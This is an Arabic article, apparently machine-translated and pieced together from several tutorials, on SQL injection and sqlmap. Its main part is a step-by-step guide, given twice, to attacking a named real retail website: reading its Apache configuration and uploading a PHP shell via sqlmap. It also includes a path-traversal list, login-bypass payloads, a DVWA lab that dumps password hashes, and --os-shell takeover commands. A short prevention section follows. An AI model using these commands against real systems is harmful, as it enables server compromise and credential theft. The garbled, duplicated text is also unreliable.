ملء الصدفة باستخدام حقن SQL. الاستخدام الأساسي لـ SQLMap. كيفية منع حقن SQL

09.12.2020

حسنا إلى الموضوع:

المفسد: ملء الصدفة

لدينا حقنة SQL على الموقع تبدو كما يلي:

يجب أن تكون مسجلا لرؤية الروابط.


أول شيء نريد القيام به هو التحقق مما إذا كان لدينا امتيازات لكتابة الملفات على المورد الذي تمت مهاجمته؛ للقيام بذلك، قم بتحميل الوحدة الطرفية وإصدار الأمر التالي:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

انقر يدخلويبدأ تحليل حقن SQL الخاص بنا، ويبدو التقرير كما يلي:

كما ترون في التقرير، تمت كتابة إصدار Apache وإصدار MySQL وإصدار نظام التشغيل المثبت على الخادم، كل هذا سيكون مفيدًا لنا في المستقبل، ولكن الأهم من ذلك، يمكنك أن ترى ذلك لدينا حقوق لكتابة الملفات، ويتم عرض هذا في السطر المستخدم الحالي هو DBA: صحيح

الخطوة التالية بالنسبة لنا هي الحصول على المسارات لتسجيل غلافنا. يمكننا الحصول على المسار إلى موقعنا على الخادم عن طريق تنزيل الملف httpd.conf. نحصل على معلومات حول موقع ملف httpd.conf من باستخدام جوجل، يمكنك البحث حسب إصدار نظام التشغيل المثبت أو من خلال قائمة المسارات الأكثر احتمالية. بشكل عام، لن أخوض في ركوب الأمواج محركات البحث، فقط عندما تكتشف الموقع الأكثر احتمالاً للمسار إلى الملف، فقد حان الوقت لتنزيل هذا الملف بالذات على القرص الخاص بك، للقيام بذلك، أدخل الأمر التالي واطلب قراءة الملف على الخادم:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

دعونا نلاحظ على الفور أنه ليس من الممكن دائمًا العثور على ملف التكوين هذا في المرة الأولى، لذا يمكنك استخدام المسارات الأكثر احتمالية حيث قد يوجد هذا الملف:

قائمة المسارات المحتملة لملف التكوين:

../../../../../../../../../usr/local/Apache/conf/httpd.conf ../../../../ ../../../../../usr/local/Apache2/conf/httpd.conf ../../../../../../../../ usr/local/Apache/httpd.conf ../../../../../../../../usr/local/Apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/Apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/Apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/Apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ Apache/conf/httpd.conf ../../../../../../etc/Apache/conf/httpd.conf ../../../../../. ./etc/Apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/Apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/Apache/conf/httpd.conf ../../../../. ./opt/Apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

نتلقى تقريرًا من sqlmap بالشكل التالي:


كما ترون، أخبرنا sqlmap أن الملف له نفس حجم الملف الموجود على الخادم، وبالتالي لدينا الحق في قراءة هذا الملف. إذا لم تكن هناك حقوق كافية لقراءة هذا الملف، فسيظهر خطأ بأن الملف المحفوظ على أجهزتنا له حجم مختلف عن الملف الموجود على الخادم، أو أنه لا يوجد ملف على الخادم بالمسار الذي حددناه ولم يتم تثبيته مطلقًا كان. قام Sqlmap بحفظ ملفنا في ملفات التقرير، ولقراءته نحتاج إلى تشغيل مدير النوافذ. للبدء مدير النوافذنفتح نافذة طرفية أخرى وندخل الأمر:

بعد ذلك، في المدير الذي يفتح، نتبع المسار الذي أضاف فيه sqlmap الملف، أي:
/root/.sqlmap/output/sacoor.com
بعد ذلك، قم بتمرير المؤشر فوق الملف واضغط على الزر F3على لوحة المفاتيح واقرأ ملف تكوين Apache:


من ملف التكوين الخاص بنا نرى أن موقعنا موجود على الخادم على المسار التالي:
/الصفحة الرئيسية/sbshop/الموقع/

الآن بعد أن أصبح لدينا القليل من المعلومات، يمكننا محاولة ملء الصدفة، وللقيام بذلك ندخل الأمر التالي:

بعد إدخال الأمر، سيسألك sqlmap عن نوع الحشو الذي نريد استخدامه، لأن... في حالتنا، الموقع بلغة PHP، ثم سنقوم بالتحميل PHP-محمل، يختار النقطة 4واضغط على Enter. بعد ذلك، سيطلب منا sqlmap اختيار المكان الذي سنرفع فيه المُحمل الخاص بنا، ومنذ... نحن نعرف بالفعل المسار إلى موقعنا على الخادم، ثم اختر النقطة 2، يضعط يدخلوحدد المسار إلى الموقع:
/الصفحة الرئيسية/sbshop/الموقع/

وبعد ذلك نضغط يدخلونرى التقرير التالي:


في في هذه الحالةيخبرنا sqlmap بذلك هذا المجلدليس لدينا حقوق الكتابة. لا توجد مشكلة، هذه المشكلة سهلة الحل. نعطي الأمر لتشغيل uniscan والتحقق من الملفات والمجلدات للتأكد من قابليتها للكتابة، إليك الأمر:

Uniscan -u http://www.sacoor.com/ -qwe

الآن سوف يقوم الماسح الضوئي بفحص جميع الدلائل القابلة للكتابة:


عثر الماسح الضوئي على ثلاثة أدلة لديها القدرة على كتابة الملفات، لذلك نحاول تحميل محمل الصدفة الخاص بنا مرة أخرى، ولكن هذه المرة بطريقة مختلفة. قم بتشغيل الأمر مرة أخرى:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

وعن طريق الاختيار النقطة 4(ملء البرنامج النصي PHP)، حدد المسار:
/home/sbshop/site/admin

نرى ما يلي.

حقن SQL هو هجوم يستغل عبارات SQL الديناميكية عن طريق التعليق على أجزاء معينة من العبارات أو إضافة شرط يظل صحيحًا دائمًا. فهو يستهدف الثغرات الموجودة في بنية تطبيقات الويب ويستخدم عبارات SQL لتنفيذ تعليمات برمجية SQL ضارة:

في هذه المقالة، سنلقي نظرة على التقنيات المستخدمة في حقن SQL وكيفية حماية تطبيقات الويب من مثل هذه الهجمات.

كيف يعمل حقن SQL

تختلف أنواع الهجمات التي يمكن تنفيذها باستخدام حقن SQL بناءً على نوع محركات قاعدة البيانات المتأثرة. يستهدف الهجوم عبارات SQL الديناميكية. العبارة الديناميكية عبارة عن عبارة يتم إنشاؤها في وقت التشغيل استنادًا إلى معلمات من نموذج ويب أو سلسلة استعلام URI.

فكر في تطبيق ويب بسيط يتضمن نموذج تسجيل دخول. رمز نموذج HTML موجود أدناه:

  • يقبل النموذج عنوان بريد إلكتروني ثم يتم إرسال كلمة المرور إليه ملف PHPاسمه Index.php؛
  • يتم تخزين الجلسة في ملف تعريف الارتباط. يتم تمكين هذه الميزة عن طريق تحديد علامة Remember_me. يتم استخدام طريقة النشر لإرسال البيانات. وهذا يعني أن القيم لا يتم عرضها في عنوان URL.

لنفترض أن طلب التحقق من معرف المستخدم على جانب الخادم يبدو كما يلي:

  • يستخدم الطلب قيم المصفوفة $_POST مباشرة دون تعقيمها؛
  • يتم تشفير كلمة المرور باستخدام خوارزمية MD5.

سنلقي نظرة على الهجوم باستخدام SQL حقن sqlfiddle. افتح عنوان URL http://sqlfiddle.com/ في متصفحك. ستظهر النافذة التالية على الشاشة.

ملاحظة: سوف تحتاج إلى كتابة عبارات SQL:

الخطوة 1: أدخل هذا الرمز في اللوحة اليسرى:

إنشاء جدول "المستخدمين" (`id` INT NOT NULL AUTO_INCREMENT، `email` VARCHAR(45) NULL، `password` VARCHAR(45) NULL، PRIMARY KEY (`id`)); أدخل في قيم المستخدمين (البريد الإلكتروني وكلمة المرور) ​​(" [البريد الإلكتروني محمي]",md5("اي بي سي"));

الخطوة 2: انقر فوق الزر بناء المخطط».
الخطوة 3: أدخل الرمز أدناه في الجزء الأيسر:

حدد * من المستخدمين؛

الخطوة 4: انقر فوق " تشغيل SQL" ستظهر لك النتيجة التالية:

لنفترض أن المستخدم يوفر عنوان بريد إلكتروني [البريد الإلكتروني محمي]و 1234 ككلمة المرور. قد يبدو الاستعلام الذي يجب تنفيذه في قاعدة البيانات كما يلي:

يمكن تجاوز مثال كود حقن SQL أعلاه عن طريق التعليق على جزء من كلمة المرور وإضافة شرط يظل صحيحًا دائمًا. لنفترض أن أحد المهاجمين يقوم بإدخال البيانات التالية في حقل عنوان البريد الإلكتروني:

[البريد الإلكتروني محمي]" أو 1 = 1 الحد 1 -- " ]

وxxx في حقل كلمة المرور.

سيبدو البيان الديناميكي الذي تم إنشاؤه كما يلي:

  • [البريد الإلكتروني محمي]ينتهي بعلامة اقتباس واحدة، والتي تنهي السلسلة؛
  • OR 1 = 1 LIMIT 1 هو الشرط الذي سيكون صحيحًا دائمًا ويحد من النتائج التي يتم إرجاعها إلى سجل واحد فقط.

0; ' AND ... عبارة عن تعليق SQL يستبعد جزء كلمة المرور.

انسخ الاستعلام أعلاه والصقه في مربع النص FiddleRun SQL كما هو موضح أدناه:

نشاط الهاكر: حقن SQL في تطبيقات الويب

لدينا تطبيق ويب بسيط متاح على http://www.techpanda.org/ والذي تم جعله عرضة لهجمات حقن SQL للمبتدئين لأغراض العرض التوضيحي. رمز نموذج HTML المذكور أعلاه مأخوذ من صفحة الترخيص لهذا التطبيق.

يوفر الأمان الأساسي مثل تعقيم حقل البريد الإلكتروني. هذا يعني أنه لا يمكن استخدام الكود أعلاه لتجاوز هذه الآلية.

لتجاوز هذا، يمكنك استخدام حقل كلمة المرور. يوضح الرسم البياني أدناه الخطوات التي يجب عليك اتباعها:

لنفترض أن المهاجم يقدم البيانات التالية:

الخطوة 1: أدخل [البريد الإلكتروني محمي]كعنوان بريد إلكتروني؛
الخطوة 2: أدخل xxx’) OR 1 = 1 - ] ;

ينقر على زر "إرسال".

سيتم إرساله إلى لوحة الإدارة. سيبدو الاستعلام الذي تم إنشاؤه كما يلي:

يوضح الرسم البياني أدناه كيفية إنشاء الطلب:

هنا:

  • يفترض الطلب استخدام تشفير md5؛
  • يتم استخدام علامات الاقتباس المفردة والأقواس الختامية؛
  • تتم إضافة الشرط إلى عامل التشغيل الذي سيكون صحيحًا دائمًا.

عادةً ما يحاول المهاجمون استخدام عدة طرق مختلفة في هجوم حقن SQL لتحقيق أهدافهم.

أنواع أخرى من هجمات حقن SQL

يمكن أن تسبب عمليات حقن SQL ضررًا أكبر بكثير من تسجيل الدخول إلى النظام عن طريق تجاوز آلية التفويض. بعض هذه الهجمات قد:

  • إجراء حذف البيانات؛
  • إجراء تحديث البيانات؛
  • إضافة البيانات؛
  • تنفيذ الأوامر على الخادم الذي سيقوم بتنزيل البرامج الضارة وتثبيتها؛
  • تصدير إلى الخادم البعيدمهاجم البيانات القيمة، مثل التفاصيل بطاقة إئتمان, بريد إلكترونيوكلمات المرور.

القائمة أعلاه ليست كاملة. إنه ببساطة يعطي فكرة عن المخاطر التي تشكلها حقن SQL.

أدوات لأتمتة عمليات حقن SQL

في المثال أعلاه، استخدمنا أساليب الهجوم اليدوية. قبل إجراء عملية حقن SQL، عليك أن تفهم أن هناك أدوات آلية تتيح لك تنفيذ الهجمات بشكل أكثر كفاءة وسرعة:

  • SQLSmack؛
  • سكلبينج 2 ;
  • خريطة SQL.

كيفية منع حقن SQL

فيما يلي بعض القواعد البسيطة للحماية من هجمات حقن SQL:

لا ينبغي الوثوق بإدخال المستخدم. يجب دائمًا تعقيمها قبل استخدام البيانات في عمليات SQL الديناميكية.

الإجراءات المخزنة- يمكنهم تغليف استعلامات SQL ومعالجة كافة بيانات الإدخال كمعلمات.

الاستعلامات المعدة- يتم إنشاء الاستعلامات أولاً، ثم تتم معالجة جميع بيانات المستخدم المقدمة كمعلمات. لا يؤثر هذا على بناء جملة عبارة SQL.

التعبيرات العادية- يمكن استخدامه لاكتشاف التعليمات البرمجية الضارة المحتملة وإزالتها قبل تنفيذ عبارات SQL.

حقوق الوصول للاتصال بقاعدة البيانات- ل الحماية من حقن SQL، يجب منح الحسابات المستخدمة للاتصال بقاعدة البيانات حقوق الوصول الضرورية فقط. سيساعد هذا في تحديد الإجراءات التي يمكن أن تؤديها عبارات SQL على الخادم.

رسائل الخطأ- لا يجب الكشف عنها معلومات سرية. رسائل خطأ مخصصة بسيطة مثل " آسف، نشأت خطأ فني. لقد تم بالفعل إخطار فريق الدعم بهذا الأمر. يرجى المحاولة مرة أخرى في وقت لاحق"يمكن استخدامه بدلاً من عرض استعلامات SQL التي تسببت في الخطأ.

كابح: .زين

لدينا حقنة SQL على الموقع تبدو كما يلي:

أول شيء نريد القيام به هو التحقق مما إذا كان لدينا امتيازات لكتابة الملفات على المورد الذي تمت مهاجمته؛ للقيام بذلك، قم بتحميل الوحدة الطرفية وإصدار الأمر التالي:

http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

نضغط على Enter ويبدأ تحليل حقن SQL الخاص بنا، ويبدو التقرير كما يلي:

كما ترون في التقرير، تمت كتابة إصدار Apache وإصدار MySQL وإصدار نظام التشغيل المثبت على الخادم، كل هذا سيكون مفيدًا لنا في المستقبل، ولكن الأهم من ذلك، يمكنك أن ترى ذلك لدينا حقوق لكتابة الملفات، ويتم عرض هذا في السطر المستخدم الحالي هو DBA: صحيح

الخطوة التالية بالنسبة لنا هي الحصول على المسارات لتسجيل غلافنا. يمكننا الحصول على المسار إلى موقعنا على الخادم عن طريق تنزيل ملف httpd.conf. نحصل على معلومات حول موقع ملف httpd.conf باستخدام Google، ويمكنك البحث عن طريق إصدار نظام التشغيل المثبت أو عن طريق قائمة المسارات الأكثر احتمالية. بشكل عام، لن أتعمق في تصفح محركات البحث، فقط عندما تكتشف الموقع الأكثر احتمالية للمسار إلى الملف، فقد حان الوقت لتنزيل هذا الملف نفسه على القرص الخاص بك، للقيام بذلك، أدخل ما يلي الأمر وطلب قراءة الملف على الخادم:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

دعونا نلاحظ على الفور أنه ليس من الممكن دائمًا العثور على ملف التكوين هذا في المرة الأولى، لذا يمكنك استخدام المسارات الأكثر احتمالية حيث قد يوجد هذا الملف:

قائمة المسارات المحتملة لملف التكوين:

../../../../../../../../../usr/local/Apache/conf/httpd.conf ../../../../ ../../../../../usr/local/Apache2/conf/httpd.conf ../../../../../../../../ usr/local/Apache/httpd.conf ../../../../../../../../usr/local/Apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/Apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/Apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/Apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ Apache/conf/httpd.conf ../../../../../../etc/Apache/conf/httpd.conf ../../../../../. ./etc/Apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/Apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/Apache/conf/httpd.conf ../../../../. ./opt/Apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

نتلقى تقريرًا من sqlmap بالشكل التالي:

كما ترون، أخبرنا sqlmap أن الملف له نفس حجم الملف الموجود على الخادم، وبالتالي لدينا الحق في قراءة هذا الملف. إذا لم تكن هناك حقوق كافية لقراءة هذا الملف، فسيظهر خطأ بأن الملف المحفوظ على أجهزتنا له حجم مختلف عن الملف الموجود على الخادم، أو أنه لا يوجد ملف على الخادم بالمسار الذي حددناه ولم يتم تثبيته مطلقًا كان. قام Sqlmap بحفظ ملفنا في ملفات التقرير، ولقراءته نحتاج إلى تشغيل مدير النوافذ. لتشغيل مدير النوافذ، نفتح نافذة طرفية أخرى وندخل الأمر:

بعد ذلك، في المدير الذي يفتح، نتبع المسار الذي أضاف فيه sqlmap الملف، أي:
/root/.sqlmap/output/sacoor.com
بعد ذلك، قم بتمرير المؤشر فوق الملف، واضغط على الزر F3 على لوحة المفاتيح واقرأ ملف تكوين Apache:

من ملف التكوين الخاص بنا نرى أن موقعنا موجود على الخادم على المسار التالي:
/الصفحة الرئيسية/sbshop/الموقع/

الآن بعد أن أصبح لدينا القليل من المعلومات، يمكننا محاولة ملء الصدفة، وللقيام بذلك ندخل الأمر التالي:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

بعد إدخال الأمر، سيسألك sqlmap عن نوع الحشو الذي نريد استخدامه، لأن... في حالتنا، الموقع بلغة PHP، ثم سنقوم بتحميل PHP-loader، حدد العنصر 4 واضغط على Enter. بعد ذلك، سيطلب منا sqlmap اختيار المكان الذي سنرفع فيه المُحمل الخاص بنا، ومنذ... نحن نعرف بالفعل المسار إلى موقعنا على الخادم، ثم حدد العنصر 2، واضغط على Enter وأشر إلى المسار إلى الموقع:
/الصفحة الرئيسية/sbshop/الموقع/

وبعد ذلك اضغط على Enter وشاهد التقرير التالي:

في هذه الحالة، يخبرنا sqlmap أنه ليس لدينا حقوق الكتابة إلى هذا المجلد. لا توجد مشكلة، هذه المشكلة سهلة الحل. نعطي الأمر لتشغيل uniscan والتحقق من الملفات والمجلدات للتأكد من قابليتها للكتابة، وهنا الأمر.

حقن SQL هو نوع من الهجوم يقوم فيه المهاجم بتعديل منطق استعلام SQL لتطبيق ويب، مما يسمح له بقراءة/تعديل/حذف القيم في قاعدة البيانات وفي بعض الأحيان تنفيذ تعليمات برمجية عشوائية على جانب الخادم. ستناقش هذه المقالة الأداة المساعدة sqlmap الشائعة لإجراء عمليات حقن SQL.

في الوقت الراهن، هذا النوعالضعف هو الأخطر على الإطلاق. لمدة 7 سنوات، كان الخط الرائد لـ "OWASP TOP-10" يتصدر حقن SQL.

هناك 5 أسباب رئيسية لهذه الثغرة الأمنية:

  1. عدم كفاية أو عدم التحقق من صحة معلمات الإدخال، وخاصة إدخال المستخدم. "أي معلمة إدخال شريرة"
  2. الوصول غير المعقول والضعيف الحماية إلى قواعد البيانات. تتضمن هذه الفئة عوامل مثل: عدد كبيرالمسؤولون والمستخدمون المتميزون (الجذر)، نظام ضعيفالمصادقة، وعدد كبير من الحقوق للمسؤولين الثانويين، وما إلى ذلك.
  3. بنيان. استخدام التقنيات التي عفا عليها الزمن، والافتقار إلى تدابير الرقابة، وإهمال منهجية "نمذجة التهديدات".
  4. وراثة التعليمات البرمجية الضعيفة بشكل واضح، واستخدام الحلول الجاهزة مع مستوى منخفضحماية.
  5. عدم وجود مستوى مناسب من تجريد التعليمات البرمجية القابلة للتنفيذ من البيانات.

خريطة SQL.

أنواع حقن SQL.

دعونا نفكر أنواع SQLالحقن التي يتم تشغيلها بواسطة الأداة المساعدة SQLMap:

  1. حقن SQL الأعمى القائم على المنطق
    • طريقة تتم من خلالها قراءة طلبات واستجابات HTTP حرفًا بحرف لاكتشاف الثغرات الأمنية.
    • بمجرد اكتشاف معلمة ضعيفة، يقوم SQLMap باستبدال أو إلحاق عبارات SQL الصحيحة من الناحية النحوية أثناء انتظار استجابة الخادم عن طريق تنفيذ هذا الرمز.
    • يقارن SQLMap الطلب الأصلي الصالح بالاستجابة من طلب يحتوي على تعليمات برمجية ضارة مضمنة.
    • يستخدم SQLMap خوارزمية التنصيف ( نصفي خوارزمية) لجلب كل حرف من الاستجابة باستخدام سبعة طلبات HTTP كحد أقصى.
    • عندما لا يتم تقديم الإجابة بنص خالص، يقوم SQLMap بتكييف الخوارزمية بقيم أكبر لتحديد الإجابة.
  2. حقن SQL الأعمى القائم على الوقت
    • تفترض الطريقة المستندة إلى الوقت نفسها وجود بعض المقارنات بناءً على أوقات الطلب والاستجابة عن طريق إدخال عبارة SQL صحيحة نحويًا في المعلمة الضعيفة.
    • يستخدم SQLMap عبارات SQL التي تضع قاعدة البيانات قيد الانتظار للعودة لفترة زمنية محددة.
    • باستخدام نفس الخوارزمية المقسمة لإخراج حرف تلو الآخر، يقوم SQLMap بمقارنة وقت استجابة HTTP بالطلب الأصلي.
  3. حقن SQL القائم على الأخطاء
    • يستخدم SQLMap عبارات SQL التي يمكن أن تتسبب في إنشاء أخطاء محددة.
    • تبحث الأداة المساعدة عن الأخطاء في استجابة HTTP للخادم.
    • تعمل هذه الطريقة فقط إذا تم تكوين تطبيق الويب للكشف عن رسائل الخطأ.
  4. استعلام الاتحاد
    • إدخال عبارة SQL الاتحاد الكل حدد .
    • يعمل حقن SQL بناءً على استعلامات UNION بناءً على سلوك التطبيق، أي. عندما يقوم أحد التطبيقات بتمرير نتيجة استعلام SELECT مكتوب من خلال حلقة معينة أو سطر من التعليمات التي تسمح بكتابة المخرجات على محتوى الصفحة.
    • في حالة عدم تكرار الإخراج من خلال أي حلقة لأو سلسلة أخرى من البيانات، يستخدم SQLMap حقن استعلام UNION لمرة واحدة.
  5. استعلام مكدس
    • باستخدام الاستعلامات مطوية. يضيف SQLMap فاصلة منقوطة (؛) إلى قيمة المعلمة الضعيفة ويضيف العبارة SQL التي يجب تنفيذها.
    • باستخدام هذه التقنية، يمكنك تنفيذ عبارات SQL بخلاف SELECT. يعد هذا مفيدًا لمعالجة البيانات والحصول على حق الوصول للقراءة والكتابة وأخيراً التقاطها بواسطة نظام التشغيل.
  6. خارج النطاق
    • تستخدم هذه الطريقة قناة اتصال ثانوية أو قناة اتصال أخرى لإخراج نتائج الاستعلامات التي يتم تشغيلها على التطبيق المتأثر.
    • على سبيل المثال، يتم الإدراج في تطبيق ويب وقناة ثانوية مثل استعلامات DNS، يُستخدم لإعادة توجيه البيانات إلى مجال المهاجم.

الاستخدام الأساسي لـ SQLMap.

قم بتشغيل الأداة المساعدة (يجب أن تكون في المتغيرطريق ):

$sqlmap

أو من دليل المرافق:

$ بيثون sqlmap.py

يتم استخدام المفتاح لاستدعاء الوثائق «- ح / — يساعد »:

$ sqlmap - مساعدة $ بيثون sqlmap.py - مساعدة

تعتمد إجراءات مفاتيح SQLMap بشكل كامل على ما يريد المهاجم تحقيقه بالضبط. تبدو القائمة الأساسية لإجراءات SQLMap كما يلي:

  • قائمة معلومات قاعدة البيانات مثل الاسم والإصدار والتفاصيل الأخرى.
  • حدد قاعدة بيانات محددة لسرد معلومات حول الجداول التي تحتوي عليها.
  • حدد الجدول وأدرج معلومات العمود.
  • حدد عمودًا وقم بإدراج الصفوف لاسترداد قيمها.
  • مزيد من الاستغلال.

يمارس.

لتدريبنا العملي سوف نستخدم اللعنة مُعَرَّض ويب طلب (DVWA أو "تطبيق الويب الضعيف").

DVWA هو تطبيق ويب مجاني مبني على تقنيات مثل PHP وMySQL، وهو مصمم لتدريب مهارات الاختبار.

الآن نحن مهتمون فقط بالحقن، ولكن بشكل عام، يمكنك اختبار قدراتك في نقاط الضعف الأخرى التي تم إنشاؤها بناءً على الدليل الرسمي. OWASP قمة -10 .

ملاحظة: تفترض هذه الممارسة أن لديك معرفة بأساسيات Linux، بمستوى مبتدئ اللغة الإنجليزيةوالقدرة على استخدام جوجل (إذا لم تكن لديك المهارات المذكورة أعلاه).

تثبيت:

  • قم بتحميل التطبيق واتبع التعليمات؛
  • تغيير مستوى الصعوبة إلى منخفض؛
  • نحن مهتمون فقط بعلامات التبويب "حقن SQL"؛

البيانات الأولية:

  • خادم الويب على شبكة خاصة
  • عنوان URL الضعيف: http:// لك يستضيف . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  • المعلمة الضعيفة: بطاقة تعريف

لذلك دعونا نبدأ:

  1. نحن نؤكد التوافرSQL الحقن:
."

شرح الأمر:

— url – عنوان URL مع المعلمة الضعيفة المفترضة. من المهم ملاحظة أن المتغير الخاص بهذا المفتاح مكتوب بين علامتي اقتباس، لأنه يحتوي عنوان URL الذي يتم التحقق منه على أكثر من واحد المعلمة مرت. بخلاف ذلك، يمكنك تجاهل علامات الاقتباس واستخدام الإصدار القصير من المفتاح “- ش بدون علامة المساواة .

- ملف تعريف الارتباط - ملف تعريف ارتباط الجلسة للوصول المباشر أثناء الهجوم (مفتاح اختياري).

خاتمة:

تحليل:

  • التطبيق عرضة لحقن SQL
  • نوع الحقن – استعلام UNION
  • قاعدة البيانات الخلفية (DBMS) - MySQL5
  • التفاصيل الفنية لنظام التشغيل - لينكس أوبونتو 8.04، PHP 5.2.4، أباتشي 2.2.8
  1. ندرج أسماء قواعد البيانات:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

شرح الأمر:

—dbs – مفتاح لإدراج قواعد البيانات المتاحة.

خاتمة:

تحليل:قام SQLMap بإدراج قواعد البيانات المتاحة (7 في المجموع).

  1. ندرج أسماء الجداول (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

شرح الأمر:

-D - حدد قاعدة البيانات التي نهتم بها.

--tables - قائمة الجداول المتوفرة في قاعدة البيانات.

خاتمة:

تحليل:كما نرى، نجح SQLMap في إدراج أسماء جدولين في قاعدة البيانات dvwa .

  1. مزيد من القائمة لأسماء أعمدة الجدول "المستخدمين ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T المستخدمين – الأعمدة

شرح الأمر:

-T - قم بالإشارة إلى الجدول الذي يهمنا.

—الأعمدة – قم بإدراج الأعمدة المتوفرة في الجدول.

خاتمة:

تحليل:كما نرى، نجح SQLMap في إدراج أسماء 6 أعمدة في الجدول المستخدمين، دينار بحريني dvwa .

  1. نقوم بإدراج/سحب القيم من الجدول "المستخدمين ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T المستخدمين -C user_id,user,password --dump

شرح الأمر:

ج- قم بالإشارة إلى الأعمدة التي تهمنا.

--dump - تفريغ القيم من الأعمدة المدرجة.

خاتمة:

تحليل:وبناء على استجابة SQLMap، نلاحظ النقاط التالية:

  • يقوم SQLMap باسترداد السجلات من أعمدة محددة ثم يقوم بتحليل البيانات الموجودة في تلك الأعمدة.
  • بمجرد التعرف على البيانات باعتبارها تجزئات محتملة لكلمة المرور، يحاول SQLMap كسر التجزئة باستخدام خوارزميات التجزئة المختلفة.
  • في هذه الحالة، التجزئة هي MD5، لذلك باستخدام تقنية التجزئة الأولى التي تستخدمها الأداة، يمكنها كسر التجزئة بنجاح وإنتاج استجابة منسقة بشكل جيد.
  • بالإضافة إلى ذلك، تقوم الأداة بحفظ الإدخالات المدرجة بتنسيق ملف ".csv" لاستخدامها في المستقبل؛ لذلك لا تحتاج إلى تحميل البيانات إلى ملف نصيأو التقط لقطة شاشة، وسيتولى SQLMap الأمر.
  1. مزيد من الاستغلال والاستيلاء على الخادم (أ.س.ب. غير متضمنةDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

شرح الأمر:

—البيانات - حدد معلمات الاختبار التي يتم إرسالها في طلب POST.

—os —shell – مفتاح خاص لمحاولة استغلال وحدة تحكم الخادم عبر حقن SQL.

خاتمة:

تحليل:وبناء على استجابة SQLMap، نلاحظ النقاط التالية:

  • بعد تأكيد واستغلال حقن SQL، يتحقق SQLMap مما إذا كان المستخدم هو DBA (مسؤول قاعدة البيانات).
  • بعد ذلك، حاولت الأداة استخدام إجراء مخزن موسع - "xp_cmdshell" والذي يتم استخدامه عادةً خادم SQL 2000.
  • يتم استخدام "xp_cmdshell" لتنفيذ مهمة معينة سطر الأوامركفريق واحد نظام التشغيل. وفي المقابل، يقوم بإخراج النتيجة كنص قياسي.

فوائد الحصول على مستوى أعمق من الوصول إلى النظام:

  • الوصول إلى بيانات اعتماد المستخدم أو تجزئات كلمة المرور.
  • غلاف تفاعلي يسمح لك بتحميل الملفات أو تنزيلها من الخادم.
  • قم بتشغيل أوامر المحور (OS) لاستكشاف الشبكة الداخلية.
  • القدرة على تنزيل البرامج الضارة.
  • مزيد من الاستغلال باستخدام Metasploit Framework.
  • إنشاء وملء الأبواب الخلفية.

أفضل الممارسات والاستخدام المتقدم.

  1. خريطة SQL وصابون (بسيط هدف وصول بروتوكول ) الطلبات:عملية تحليل طلبات SOAP بسيطة للغاية:
    • التقط طلب SOAP الخاص بك.
    • حفظه في ملف نصي مع المعلمات الضعيفة المحتملة.
    • استخدم الأمر أدناه لـ SQLMap مع الخيار -p إذا كنت تعرف المعلمة الضعيفة:
$ ./sqlmap.py -r So_request.txt -p
    • سيقوم SQLMap تلقائيًا بتحليل طلب SOAP ومحاولة اختراق المعلمة الضعيفة.
  1. خريطة SQL وJSON (جافا سكريبت هدف التدوين ) الطلبات:في سيناريوهات مشابهة لاستخدام SQLMap لاستعلامات SOAP، يمكن أيضًا تحليل استعلامات JSON واستغلالها. بالنسبة لنوع استعلام JSON، سيطالبك SQLMap باستغلال الثغرة الأمنية عن طريق الكشف عن نوع استعلام JSON في "ملف الاستعلام". بمجرد الإجابة بنعم، ستقوم الأداة بتحليل الطلب واختيار ناقل الهجوم الخاص بها.
